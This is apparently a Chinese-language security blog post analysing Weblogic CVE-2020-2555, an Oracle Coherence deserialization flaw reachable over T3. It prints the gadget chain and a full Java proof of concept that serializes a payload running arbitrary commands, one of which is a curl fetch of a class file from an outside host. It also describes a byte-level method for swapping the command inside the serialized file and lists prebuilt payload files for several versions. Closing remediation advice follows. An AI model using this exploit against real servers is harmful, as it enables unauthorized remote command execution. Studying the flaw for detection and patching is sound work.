漫谈 Weblogic CVE-2020-2555

背景

在2020年1月,互联网上爆出了Weblogic反序列化远程命令执行漏洞(CVE-2020-2555),Oracle Fusion中间件 Oracle Coherence 存在缺陷,攻击者可利用该漏洞在未经授权下通过构造T3协议请求,获取 Weblogic 服务器权限,执行任意命令,风险较大。

漏洞信息曝光之后,互联网中发布几篇该漏洞相关的分析文章以及利用 POC,但公布的 POC 有部分不足之处,导致漏洞检测效率变低,不足之处主要体现在:

1 目前所有的利用工具都是通过动态编译进行生产 POC 文件而且必须要有 java 环境。

2. 公布的 POC 只是针对单独一个版本有效,无法适应多个 Weblogic 版本。

漏洞影响情况:

  • Oracle Coherence 3.7.1.17
  • Oracle Coherence & Weblogic 12.1.3.0.0
  • Oracle Coherence & Weblogic 12.2.1.3.0
  • Oracle Coherence & Weblogic 12.2.1.4.0

通过研究发现 Weblogic 10.3.6.0 版本不受影响范围内,虽然该版本默认自带了 Coherence(3.7),通过调试发现该版本默认并未启用 Coherence,所以 Weblogic 10.3.6.0 不在受影响范围内。

注:

1. 经过大量的测试,我们的 POC 可稳定运行在多个操作系统、多个 weblogic 版本、多个 JDK 版本中。

2. 以上测试及分析环境全部基于内部环境。

漏洞调试分析

本文基于 Weblogic 12.1.3 版本进行研究分析测试。

调试

修改目录 user_project/domains/bin 目录中 setDomainEnv.cmd 或者 setDomainEnv.sh 文件,加if %debugFlag == "false"% 之前加入 set debugFlag=true

拷贝 Oracle_Home 目录下所有文件至调试目录,并且 coherence\lib 添加 Libraries

配置 Remote 方式进行远程调试, ip 设置为开启 set debugFlag=true 的服务器 IP, 端口为 8453

漏洞利用

该漏洞主要是因为 com.tangosol.util.filter.LimitFilter#toString 方法内部可通过 m_comparatorm_oAnchorTop 可自定义进行设置,形成利用链条导致漏洞的发生,以下为整个利用链条:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
LimitFilter.toString()
ChainedExtractor.extract()
ReflectionExtractor.extract()
Method.invoke()
Class.getMethod()
ReflectionExtractor.extract()
Method.invoke()
Runtime.getRuntime()
ReflectionExtractor.extract()
Method.invoke()
Runtime.exec()

通过利用利用链条,可以基于 ysoserial 中的 CommonsCollections5 进行构造利用 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
String cmd = "curl http://10.10.10.172:9999/Poc.class";
cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{
"getRuntime", new Class[0]
}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
// new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash","-c", cmd}})
};
// chain
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, limitFilter);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/0nise/IdeaProjects/vuldebug/cve-2020-2555/src/main/java/122130_linux_calc.666"));
objectOutputStream.writeObject(expException);
objectOutputStream.close();
}

漏洞分析

该漏洞主要是因为 com.tangosol.util.filter.LimitFilter#toString 触发,通过跟踪我们可以看到 m_oAnchorTopclasss java.lang.Runtime , 以及 m_comparatorValueExtractor 接口的 ChainedExtractor 实现。

核心通过 extractor.extract 进行触发,跟踪代码会跳入 com.tangosol.util.extractor.ChainedExtractor#extract ,并且将每次执行结果作为参数,通过 aExtractor[i].extract(oTarget) 进行执行,第一次 oTarget 参数值为 class java.lang.Runtime

跟踪进入 aExtractor[i].extract(oTarget) 会跳入 com.tangosol.util.extractor.ReflectionExtractor#extract ,最后通过 method.invoke 反射执行,也就是说开始执行 java.lang.Runtime.getRuntime,最后讲执行的结果进行 return,类型为 java.lang.Runtime,所以整个方法执行的代码为 java.lang.Runtime.class.getMethod("getRuntime",new Class[0]);

第二次将java.lang.Runtime.getRuntime (也就是 java.lang.Runtime) 作为 oTarget 参数值进行传入执行
进行循环 method.invoke,反射执行 invoke ,最终执行代码为
java.lang.Runtime.class.getMethod("getRuntime",new Class[0]).invoke(null, new Object[0]) ,最后执行完毕结果为 java.lang.Runtime 类,并且将 return 提供下次进行调用执行。



最后通过 java.lang.Runtime.exec 进行反射执行命令,最终执行的代码为 runtime.exec(new String[]{"cmd", "/c", "notepad"}) 达到执行命令的目的,弹出记事本。

weblogic 10.3.6

weblogic 10.3.6 版本默认自带 coherence_3.7 ,但通过 Debug 调试发现 weblogic 10.3.6 并未启用 coherence_3.7 所以无法针对 weblogic 10.3.6 进行测试,但 coherence_3.7 版本中 com.tangosol.util.filter.LimitFilter#toString 漏洞仍然存在,所以 coherence 3.7 版本存在漏洞但 weblogic 10.3.6 默认情况下不存在该漏洞。

不足之处

经过分析发现 POC 很多不足之处,导致漏洞检测效率变低,同时无法进行通过其他语言开发调用。

动态序列化问题

如果 POC 用于非 java 语言开发的扫描框架时,是非常麻烦的要么是将代码集成 ysoserial 然后通过进程调用的方式动态生成序列化文件,但该方法会不断的通过进程调用执行代码,会造成很大的资源开销。除了使用这种方法之外还可以通过加载以前的 POC 进行二进制读取并且替换代码重新生成序列化文件。

通过研究分析发现,修改参数内容时变动的内容主要为 13 5B 4C 6A 61 76 61 2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56 E7 E9 1D 7B 47 02 00 00 78 70 00 00 00 03 74 00 字节至 00 04 65 78 65 63 70 70 76 72 00 11 6A 61 76 61 2E 6C 61 6E 67 2E 52 75 6E 74 69 6D 65 00 00 00 00 00 00 00 00 00 00 00 78 70 的内容信息,其中左图的参数为 new String[]{"cmd", "/c", "notepad"},右图的参数为 new String[]{"cmd", "/c", "calc"}

通过分析相同 weblogic 版本中通过 coherence.jar 生成的 payload,比对其中差异发现参数构造的方式为:每个参数的长度转换为 16 进制,占用 2 个字节,不足用 0 补足 + 每个参数值的 Hex 码 + ( 70 weblogic 12.2.1.3.0 版本最后一位参数 ) +74 (作者理解为标识符),所以转换对应情况如下:

new String[]{"cmd", "/c", "notepad"} ( weblogic 12.2.1.3.0,需要加 70 其他版本不需要)对应的转换情况为:

1
2
3
4
5
6
7
8
9
10
11
00 03 63 6D 64 74 00 02 2F 63 74 00 07 6E 6F 74 65 70 61 64  70 74
00 03 = "cmd".length()
63 6D 64 = "cmd"
74
00 02 = "/c".length()
2F 63 = "/c"
74
00 07 = "notepad".length()
6E 6F 74 65 70 61 64 = "notepad"
70
74

new String[]{"cmd", "/c", "calc"} ( weblogic 12.2.1.3.0,需要加 70 其他版本不需要)对应的转换情况为:

1
2
3
4
5
6
7
8
9
10
11
00 03 63 6D 64 74 00 02 2F 63 74 00 04 63 61 6C 63 70 74
00 03 = "cmd".length()
63 6D 64 = "cmd"
74
00 02 = "/c".length()
2F 63 = "/c"
74
00 04 = "calc".length()
63 61 6C 63 = "calc"
70
74

了解了参数变动的规律以及对应的字节码,我们就可以基于该方式进行动态构建序列化文件。

测试中使用的各个版本生产 POC 序列化文件存放在 CVE-2020-2555 file 目录中。

版本 文件名 描述 操作系统
12.1.3.0.0 121300_calc.666 calc Windows
12.1.3.0.0 121300_notepad.666 notepad Windows
12.1.3.0.0 121300_ping.666 ping Windows
12.1.3.0.0 121300.666 calc Windows
12.2.1.3.0 122130_calc.666 calc Windows
12.2.1.3.0 122130_linux_calc.666 calc Linux
12.2.1.3.0 122130_linux_curl.666 curl Linux
12.2.1.3.0 122130_notepad.666 notepad Windows
12.2.1.3.0 122130.666 calc Windows
12.2.1.4.0 122140_calc.666 calc Windows
12.2.1.4.0 122140_linux_calc.666 calc Linux
12.2.1.4.0 122140_linux_curl.666 curl Linux
12.2.1.4.0 122140_notepad.666 notepad Windows
12.2.1.4.0 122140.666 calc Windows

Coherence 版本问题

在研究测试时,通过某一个 Coherence 版本生成的序列化文件,无法适用于多个版本,以下为多版本的详细测试情况:

poc 生成版本 测试版本 是否成功
12.1.3.0.0 12.1.3.0.0
12.1.3.0.0 12.2.1.3.0
12.1.3.0.0 12.2.1.4.0
12.2.1.3.0 12.1.3.0.0
12.2.1.3.0 12.2.1.3.0
12.2.1.3.0 12.2.1.4.0
12.2.1.4.0 12.1.3.0.0
12.2.1.4.0 12.2.1.3.0
12.2.1.4.0 12.2.1.4.0

可以发现一个 POC 无法适用于多版本的 weblogic 中,针对该情况可以基于 weblogic 序列化文件转换为字节码结合动态序列化技术处理,来达到兼容多个版本的目的。

Weblogic 的问题

截止 2020 年 3 月 4 日,通过 Oracle 官方进行下载 weblogic 时,通过研究发现该漏洞依然存在可以利用(所有受影响版本),需要额外安装补丁。

如下文件为下文件MD5值以及下载时间:

文件名称 MD5 创建时间
fmw_12.1.3.0.0_wls.jar 8378FE936B476A6F4CA5EFA465A435E3 ‎2020‎-03‎-04‎
fmw_12.2.1.3.0_wls.jar 6E7105521029058AD64A5C6198DB09F7 ‎2017-08‎-21‎
fmw_12.2.1.4.0_wls.jar AA090712069684991BA27E4DE9ED3FF6 ‎2019-09‎-13‎
coherence.jar(12.1.3.0.0) E807E84D352374E33D0E2A8CC649534A 2014-05-14
coherence.jar(12.2.1.3.0) 2302E408BCA7C6A82081A20CE0811B0E 2017-08-15
coherence.jar(12.2.1.4.0) B28EE46B9B9BD5C24DF3BFEE10075BA4 2019-09-12

建议目前已经安装最新版 weblogic 的管理员也需排查该漏洞,如有漏洞建议立即安装补丁或通过修复方案进行修复,防止被不法分子利用。

修复

  1. 临时解决方案:禁用 weblogic T3 协议。
  2. 安装 Oracle 更新补丁,需要登录帐户后下载。

参考